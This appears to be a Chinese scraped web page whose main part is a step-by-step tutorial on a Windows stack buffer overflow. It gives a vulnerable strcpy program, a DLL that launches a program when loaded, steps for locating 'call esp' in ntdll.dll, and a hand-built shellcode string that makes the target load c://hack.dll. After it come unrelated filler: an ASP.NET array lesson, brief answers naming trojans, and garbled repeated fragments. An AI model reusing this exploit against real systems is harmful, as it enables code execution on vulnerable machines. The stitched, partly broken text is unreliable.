如何利用缓冲区溢出的程序错误来运行黑客程序
上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:
程序A:
#include stdio.h
#include string.h
void foo(const char *input)
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char *argv[])
{
foo("1234567890123456123456123456");
return 0;
}
启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:
ebp的值 esp的值
^ ^
| |
--------------------------------------
| |函数返回地址| |
---------------------------------------
而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:
mov esp ebp
pop ebp
ret
在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。
如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。
下面是步骤:
1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。
2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:
#include
"stdafx.h"
#include stdio.h
#include windows.h
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( si,
sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件
WinExec("C://WINDOWS//notepad.exe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:
int main()
{
_asm {
jmp esp
}
}
将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:
00401763 FF E4 jmp esp
00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。
现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。
我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编
打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:
7C914393: FF E5 call esp
4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。
随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:
Module | ... 中间很多省略 ... | Preferred Base
-------------------------------------------------------------------------
Kernel32.dll | .... | 0x77E000000
将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。
5。最后编写汇编代码执行你的黑客程序:
_asm {
mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
L3: jmp L3 // 循环,确保被黑的程序不会死掉
L4: call L2
}
6。最后,示例程序如下:
#include
stdio.h
#include string.h
void func(char *p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char *argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件
return 0;
}
完了,累死了
怎样制作黑客程序
这个不简单啊。当然如果只是实现这种效果的话,VB VC都可以试试,前提是你的懂程序设计
黑客怎么编程序?
不知道你要学那一种:Asp.net编程中的数组基础实例学习asp.net数组(Array)可以视为储存多个数据类型相同的值的变量,以同一个变量名称,不同的索引值来区分表示多个值。多用来存放性质或类型相同的数据。 1.数组的声明数组的声明有以下两种格式:以下是引用片段:
Dim数组名(元素数量) 【As数据类型】
Dim数组名() 【As数据类型】={元素值l,元素值2…}
2.数组元素的表示当声明一个数组并赋予其元素之后,该数组即可开始执行,其中数组的元素表示方式如下:数组名(索引值)=元素值提示: 索引值自O起计算。数组元素量最多可声明264一1个(即Long类型)。3.范例编写一个asp程序,利用数组制作进入网页后显示当日日期的功能。程序代码:以下是引用片段:
01html
02hr
03 %
04 Dim cw(7)
05 cw(O)=¨星期日" .
06 cw(1)=¨星期一”
07 cw(2)="星期二”
08 cw(3)=¨星期三”
09 cw(4)=¨星期四¨
10 cw(5)=¨星期五”
11 cw(6)=¨星期六¨
1 2 response.write(¨今天是¨yea r(now())"年")
13 response.write(month(now()) "月" day(now()) & "日")
14 response.write(cw(Wee kDay(now())一1))
l5 %
1 6hr
l7/html
本程序的说明如下· 第3-1 5行:为asp程序的主体。· 第4行:声明一个数组CW,数组中元素有7个。· 第5~11行:定义数组中的每一个元素,数据类型是字符串。· 第1 2-1 4行:利用日期时间函数与数组将日期用response对象的write方法输出,其中在第l 4行,以WeekDay函数代.A,now()函数以求出星期值,其值范围在1~7,因为要代入数组中的索引值,而数组中的索引值从O计算,所以在此输出程序中要减1,将求出的星期值范围定在O~6,才能符合数组的索引值,以带出各索引值所代表的字符串。
黑客代码都是怎么编辑的?
针对不同的程序/对象,使用不同的语言。本人痛狠无孔不入的黑客,所以,只能告诉你:那些代码都是手写的。
电脑黑客如何编写程序?
额?黑客只有一小部分人自己琢磨着编程序(例如小榕工作室,专门编黑客软件),大部分都是用现有软件,例如流光啦之类的,还有一些直接用黑客文件,例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件
,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:int main(){ _asm { jmp esp
// L2: call eax "/xEB/xFE"
} return TRUE;}#ifdef_MANAGED#pragma managed(pop)#endif3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在